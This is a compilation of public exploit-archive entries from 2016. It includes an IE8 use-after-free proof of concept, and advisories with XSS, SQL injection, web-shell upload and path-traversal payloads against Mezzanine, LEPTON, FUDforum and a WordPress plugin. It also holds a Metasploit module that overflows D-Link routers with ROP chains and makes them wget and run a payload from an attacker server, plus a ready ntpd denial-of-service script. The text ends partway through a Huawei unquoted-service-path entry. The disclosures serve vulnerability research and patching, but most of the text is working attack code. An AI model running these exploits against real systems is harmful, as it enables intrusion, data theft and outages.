    // This Po­C attempts to exploit a use-after-free bug in Microsoft Internet
    // Explorer 8.
    // See http://blog.skylined.nl/20161116001.html for details.
    var r=new Reg­Exp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
    "A".replace(r, function (){
      // Force OLEAUT32 to free the string
      for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
      // Reuse the freed memory
      r.compile();
    });
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  </script>
</html>

<!--
Description

Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit

Exploitation was not investigated.

Time-line

March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Mezzanine 4.2.0
Fixed in:            4.2.1
Fixed Version Link:  https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Vendor Website:      http://mezzanine.jupo.org/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  09/05/2016
Disclosed to public: 11/10/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

Mezzanine is an open source CMS written in python. In version 4.2.0, it is
vulnerable to two persistent XSS attacks, one of which requires extended
privileges, the other one does not. These issues allow an attacker to steal
cookies, inject JavaScript keyloggers, or bypass CSRF protection.

3. Details

XSS 1: Persistent XSS via Name in Comments

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When leaving a comment on a blog post, the author name is echoed
unencoded in the backend, leading to persistent XSS.

Proof of Concept:

Leave a comment, as author name use '"><img src=no onerror=alert(1)> To trigger
the payload, view the comment overview in the admin backend: http://
localhost:8000/admin/generic/threadedcomment

XSS 2: Persistent XSS via HTML file upload

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:N/I:P/A:N

Description: When uploading files via the media manager, the extension .html is
allowed, leading to XSS via file upload. An account with the permissions to
upload files to the media manager is required.

Proof of Concept:

Visit the media manager and upload a .html file: http://localhost:8000/admin/
media-library/upload/?ot=desc&o=date As uploaded files are stored inside the
web root, it can now be accessed, thus executing the JavaScript code it
contains: http://localhost:8000/static/media/uploads/xss.html

4. Solution

To mitigate this issue please upgrade at least to version 4.2.1:

https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/05/2016 Vendor replies
09/19/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Mezzanine-420-XSS-177.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/
                    important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to multiple SQL injections. The injections require a user account
with elevated privileges.

3. Details

SQL Injection: Search Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "terms" parameter of the page search is vulnerable to SQL
Injection. A user account with the right "Pages" is required to access this
feature.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken=
3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=f3a67s8kh379l9bs2rkggtpt12
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 154 search_scope=title&terms=" union select
username,2,3,4,5,6,password,email,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
from lep_users -- -&search=Search

Blind or Error-based SQL Injection: Create Page

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "parent" parameter of the create page functionality is
vulnerable to SQL Injection. A user account with the right "Pages" is required
to access this feature. The injection is blind or error based in the case that
PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken=
dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=uniltg734soq583l03clr0t6j0
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()&
visibility=public&submit=Add

Blind or Error-based SQL Injection: Add Droplet

CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description: The "Add_droplets" parameter of the droplet permission manager is
vulnerable to SQL injection. A user account with access to the Droplets
administration tool is required. The injection is blind or error based in the
case that PHP is configured to show errors.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets&
leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie:
PHPSESSID=fkb7do1domiofuavvof5qbsv66; lep8765sessionid=
f3a67s8kh379l9bs2rkggtpt12 Connection: close Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded Content-Length: 277 tool=
droplets&perms=1&Add_droplets%5B%5D=1&Add_droplets%5B%5D=2' WHERE attribute=
'Add_droplets' or extractvalue(1,version())%23&Delete_droplets%5B%5D=1&
Export_droplets%5B%5D=1&Import_droplets%5B%5D=1&Manage_backups%5B%5D=1&
Manage_perms%5B%5D=1&Modify_droplets%5B%5D=1&save=Save

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-SQL-Injection-173.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   LEPTON 2.2.2 stable
Fixed in:           2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Vendor Website:     http://www.lepton-cms.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to code execution as it is possible to upload files with dangerous
type via the media manager.

3. Details

Upload of file with dangerous type

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description: When uploading a file in the media tab, there is a client-side as
well as a server-side extension check. The server-side check can be bypassed by
including a valid extension before the desired extension, leading to code
execution or XSS.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=
099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;
boundary=---------------------------38397165016927337851258279296
Content-Length: 613 -----------------------------38397165016927337851258279296
Content-Disposition: form-data; name="action" media_upload
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="current_dir"
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?
php passthru($_GET['x']);
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="submit" Upload File(s)
-----------------------------38397165016927337851258279296-- http://localhost/
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    FUDforum 3.0.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://fudforum.org/forum/
Vulnerability Type:  XSS, Login CSRF
Remote Exploitable:  Yes
Reported to vendor:  04/11/2016
Disclosed to public: 11/10/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to multiple persistent XSS issues. This allows an attacker to steal cookies,
inject JavaScript keyloggers, or bypass CSRF protection. Additionally, FUDforum
is vulnerable to Login-CSRF.

3. Details

XSS 1: Via Filename in Private Message

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: The filename of attached images in private messages is vulnerable
to persistent XSS.

Proof of Concept:

Send a PM to a user. Add an attachment, where the filename is: '"><img src=no
onerror=alert(1)>.jpg When the recipient views the PM, the injected code will
be executed.

XSS 2: Via Filename in Forum Posts

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: The filename of attached images in forum posts is vulnerable to
persistent XSS.

Proof of Concept:

Create a new forum post. Add an attachment, where the filename is: '"><img src=
no onerror=alert(1)>.jpg When viewing the post the injected code will be
executed.

XSS 3: Via Signature in User Profile

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When editing a profile, the signature is echoed unencoded, leading
to persistent XSS.

Proof of Concept:

Visit http://localhost/fudforum/index.php?t=register as signature, use '"></
textarea><img src=no onerror=alert(1)> The injected code is either executed
when the user themselves edits their profile - which may be exploited via login
CSRF - or when an admin visits the edit profile page located here: http://
localhost/fudforum/index.php?t=register&mod_id=6&&SQ=
1a85a858f326ec6602cb6d78d698f60a

Login CSRF

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: The login of FUDForum does not have any CSRF protection. The
impact of this is low, but an attacker might get a victim to disclose sensitive
information by using CSRF to log the victim into an attacker-controlled
account. An example would be the accidental sending of a sensitive private
message while being logged into an account controlled by an attacker.
Additionally, Login-CSRF may enable an attacker to exploit XSS issues in the
user area.

Proof of Concept:

<html> <body> <form action="http://localhost/fudforum/index.php?t=login" method
="POST"> <input type="hidden" name="login" value="admin" /> <input type=
"hidden" name="password" value="admin" /> <input type="hidden" name="SQ" value=
"0" /> <input type="hidden" name="adm" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-Multiple-Persistent-XSS-amp-Login-CSRF-169.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    FUDforum 3.0.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://fudforum.org/forum/
Vulnerability Type:  LFI
Remote Exploitable:  Yes
Reported to vendor:  04/11/2016
Disclosed to public: 11/10/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.

Admin credentials are required.

3. Details

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.

Proof of Concept:

http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
# Exploit Title: Olimometer Plugin for WordPress – Sql Injection
# Date: 14/11/2016
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins/olimometer/
# Software Link: https://wordpress.org/plugins/olimometer/
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits
# Tested on: Debian 8


1 - Description

# Vulnerable parameter: olimometer_id=

Parameter: olimometer_id (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: olimometer_id=1 AND 6227=6227

     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: olimometer_id=1 AND SLEEP(5)

Using GET SQL Method with the "olimometer_id" parameter, we were able to
get the database name from the EXAMPLE.COM website . By further running
SQL Map using different arguments, we would be able to get the complete
database, including usernames and passwords if there are such.

2. Proof of Concept

Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
the full path to the vulnerable parameter:

root@kali:~# sqlmap -u
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
id=1
--dbs --threads=5 --random-agent --no-cast

---
Parameter: olimometer_id (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: olimometer_id=1 AND 6227=6227

     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: olimometer_id=1 AND SLEEP(5)
---
[11:14:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[11:14:21] [INFO] fetching database names
[11:14:21] [INFO] fetching number of databases
[11:14:21] [INFO] retrieved:
[11:14:21] [WARNING] multi-threading is considered unsafe in time-based
data retrieval. Going to switch it off automatically
[11:14:21] [WARNING] (case) time-based comparison requires larger
statistical model, please wait.............................. (done)
[11:14:26] [WARNING] it is very important to not stress the network
adapter during usage of time-based payloads to prevent potential disruptions
[11:14:26] [ERROR] unable to retrieve the number of databases
[11:14:26] [INFO] falling back to current database
[11:14:26] [INFO] fetching current database
[11:14:26] [INFO] retrieving the length of query output
[11:14:26] [INFO] retrieved:
[11:14:28] [INFO] heuristics detected web page charset 'ascii'
14
[11:15:26] [INFO] retrieved: *****_wrdp1
available databases [1]:
[*] *****_wrdp1

We can see that we have successfully discovered one available database
with the name: "*****_wrdp1"

3. Type of vulnerability:

An SQL Injection vulnerability in Olimometer allows attackers to read
arbitrary data from the database.

4. Exploitation vector:

The url parameter 'olimometer_id=' of the
/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is
vulnerable to SQLI.

5. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver
is misconfigured, read & write access the filesystem may be possible.

6. Impact:

Critical

7. Software/Product name:

Olimometer Plugin for WordPress

8. Affected versions:

<= 2.56

9. Fixed in version:

Not fixed at the date of submitting that exploit.

10. Vendor:

oshingler

11. CVE number:

Not existing
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

# Payload working status:
# MIPS:
#   - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
#  - inline rev/bind shell works (bind... meh sometimes)
#  - stager rev/bind shell FAIL
#  - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
      'Description'    => %q{
        Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
        is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
        which accepts arbitrarily long strings into certain XML parameters and then copies them into
        the stack.
        This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
        using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
        this vulnerability is present in both MIPS and ARM devices.
        The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
        few load and store instructions. Because of this the payloads have to be sent unencoded, which
        can cause them to fail, although the bind shell seems to work well.
        For the ARM devices, the inline reverse tcp seems to work best.
        Check the reference links to see the vulnerable firmware versions.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'References'     =>
        [
          ['CVE', '2016-6563'],
          ['US-CERT-VU', '677427'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
        ],
      'DefaultOptions' => { 'WfsDelay' => 10 },
      'Stance'         => Msf::Exploit::Stance::Aggressive,          # we need this to run in the foreground (ARM target)
      'Targets'        =>
        [
          [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
            {
              'Offset'         => 3072,
              'LibcBase'       => 0x2aabe000,         # should be the same offset for all firmware versions and all routers
              'Sleep'          => 0x56DF0,            # sleep() offset into libuClibc-0.9.30.3.so
              'FirstGadget'    => 0x4EA1C,            # see comments below for gadget information
              'SecondGadget'   => 0x2468C,
              'ThirdGadget'    => 0x41f3c,
              'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi  sp,sp,-3128
              'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr  sp
              'BranchDelay'    => "\x20\x84\xf8\x30", # addi  a0,a0,-2000 (nop)
              'Arch'           => ARCH_MIPSBE,
              'Payload'        =>
                {
                  'BadChars' => "\x00",
                  'EncoderType'     => Msf::Encoder::Type::Raw      # else it will fail with SIGILL, this CPU is crippled
                },
            }
          ],
          [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
            {
              'Offset'         => 1024,
              'LibcBase'       => 0x400DA000,         # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
              'System'         => 0x5A270,            # system() offset into libuClibc-0.9.32.1.so
              'FirstGadget'    => 0x18298,            # see comments below for gadget information
              'SecondGadget'   => 0x40CB8,
              'Arch'           => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Nov 7 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
        OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
        OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
        OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'Content-Type' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
      })

      if res && res.code == 500
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def calc_encode_addr (offset, big_endian = true)
    if big_endian
      [(target['LibcBase'] + offset).to_s(16)].pack('H*')
    else
      [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
    end
  end

  def prepare_shellcode_arm (cmd)
    #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers

    #first_gadget (pops system() address into r3, and second_gadget into PC):
    #.text:00018298                 LDMFD           SP!, {R3,PC}

    #second_gadget (puts the stack pointer into r0 and calls system() at r3):
    #.text:00040CB8                 MOV             R0, SP
    #.text:00040CBC                 BLX             R3

    #system() (Executes argument in r0 (our stack pointer)
    #.text:0005A270 system

    #The final payload will be:
    #'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
    shellcode = rand_text_alpha(target['Offset']) +       # filler
      "\xff\xff\xff\xff" +                                # n integer overwrite (see advisory)
      rand_text_alpha(16) +                               # moar filler
      rand_text_alpha(4) +                                # r11
      calc_encode_addr(target['FirstGadget'], false) +    # first_gadget
      calc_encode_addr(target['System'], false) +         # system() address
      calc_encode_addr(target['SecondGadget'], false) +   # second_gadget
      cmd                                                 # our command
  end

  def prepare_shellcode_mips
    #All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers

    #<sleep> is at 56DF0

    #first gadget - execute sleep and call second_gadget
    #.text:0004EA1C                 move    $t9, $s0 <- sleep()
    #.text:0004EA20                 lw      $ra, 0x20+var_4($sp) <- second_gadget
    #.text:0004EA24                 li      $a0, 2 <- arg for sleep()
    #.text:0004EA28                 lw      $s0, 0x20+var_8($sp)
    #.text:0004EA2C                 li      $a1, 1
    #.text:0004EA30                 move    $a2, $zero
    #.text:0004EA34                 jr      $t9
    #.text:0004EA38                 addiu   $sp, 0x20

    #second gadget - put stack pointer in a1:
    #.text:0002468C                 addiu   $s1, $sp, 0x58
    #.text:00024690                 li      $s0, 0x44
    #.text:00024694                 move    $a2, $s0
    #.text:00024698                 move    $a1, $s1
    #.text:0002469C                 move    $t9, $s4
    #.text:000246A0                 jalr    $t9
    #.text:000246A4                 move    $a0, $s2

    #third gadget - call $a1 (stack pointer):
    #.text:00041F3C                 move    $t9, $a1
    #.text:00041F40                 move    $a1, $a2
    #.text:00041F44                 addiu   $a0, 8
    #.text:00041F48                 jr      $t9
    #.text:00041F4C                 nop

    #When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
      #prep_shellcode_1:  23bdf7a8  addi  sp,sp,-3128
      #prep_shellcode_2:  03a0f809  jalr  sp
      #branch_delay:    2084f830  addi  a0,a0,-2000

    #The final payload will be:
    #shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
    shellcode = payload.encoded +                                        # exploit
      rand_text_alpha(target['Offset'] - payload.encoded.length) +       # filler
      calc_encode_addr(target['Sleep']) +                                # s0
      rand_text_alpha(4) +                                               # s1
      rand_text_alpha(4) +                                               # s2
      rand_text_alpha(4) +                                               # s3
      calc_encode_addr(target['ThirdGadget']) +                          # s4 (third gadget)
      calc_encode_addr(target['FirstGadget']) +                          # initial pc / ra (first_gadget)
      rand_text_alpha(0x1c) +                                            # filler
      calc_encode_addr(target['SecondGadget']) +                         # second_gadget
      rand_text_alpha(0x58) +                                            # filler
      target['PrepShellcode1'] +                                         # exploit prep
      target['PrepShellcode2'] +                                         # exploit prep
      target['BranchDelay']                                              # exploit prep
  end

  def send_payload (payload)
    begin
      # the payload can go in the Action, Username, LoginPassword or Captcha XML tag
      body = %{
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <Login xmlns="http://purenetworks.com/HNAP1/">
   <Action>something</Action>
   <Username>Admin</Username>
   <LoginPassword></LoginPassword>
   <Captcha>#{payload}</Captcha>
  </Login>
 </soap:Body>
</soap:Envelope>
}

      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'ctype' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
        'data' => body
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{peer} - Sending the payload to the device...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def exploit
    print_status("#{peer} - Attempting to exploit #{target.name}")
    if target == targets[0]
      send_payload(prepare_shellcode_mips)
    else
      downfile = rand_text_alpha(8+rand(8))
      @pl = generate_payload_exe
      @elf_sent = false
      resource_uri = '/' + downfile

      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{peer} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
      print_status("#{peer} - Asking the device to download and execute #{service_url}")

      filename = rand_text_alpha_lower(rand(8) + 2)
      cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"

      shellcode = prepare_shellcode_arm(cmd)

      print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
      counter = 0.00
      while (not @elf_sent)
        if counter % 50.00 == 0 && counter != 0.00
          print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
        end
        send_payload(shellcode)
        sleep datastore['SLEEP'].to_f     # we need to be in the LAN, so a low value  (< 1s) is fine
        counter += 1
      end
      print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
    end
  end
end
            
#!/usr/bin/env python

# Exploit Title: ntpd remote pre-auth Denial of Service
# Date: 2016-11-21
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://dumpco.re/cve-2016-7434/
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
# Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
# CVE: CVE-2016-7434

import sys
import socket

if len(sys.argv) != 3:
    print "usage: " + sys.argv[0] + " <host> <port>"
    sys.exit(-1)


payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"

print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
            
# Exploit Title: Unquoted Service Path Vulnerability in Huawei UTPS Software
# Date: Nov 16 2016
# Author: Dhruv Shah (@Snypter)
# Website: http://security-geek.in
# Contact: dhruv-shah@live.com
# Category: local
# Vendor Homepage: http://www.huawei.com/
# Version: Versions earlier than UTPS-V200R003B015D16SPC00C983
# Tested on: Windows XP , Windows 7-10 x86/x64
# CVE: CVE-2016-8769

1. Description

Huawei UTPS Software is the core software that is bundled with the
Internet Dongles, it provides it dongles to companies like Airtel ,
TATA Photon . This is the software that installs itself for the Dongle
to run on the attached machine. It installs as a service ("Photon.
RunOUC") and ("Airtel. RunOuc") with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof of Concept

 ( TATA PHOTON Dongles)
C:\Documents and Settings\Dhruv>sc qc "Photon. RunOuc"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: Photon. RunOuc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program
Files\Photon\Huawei\EC306-1\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
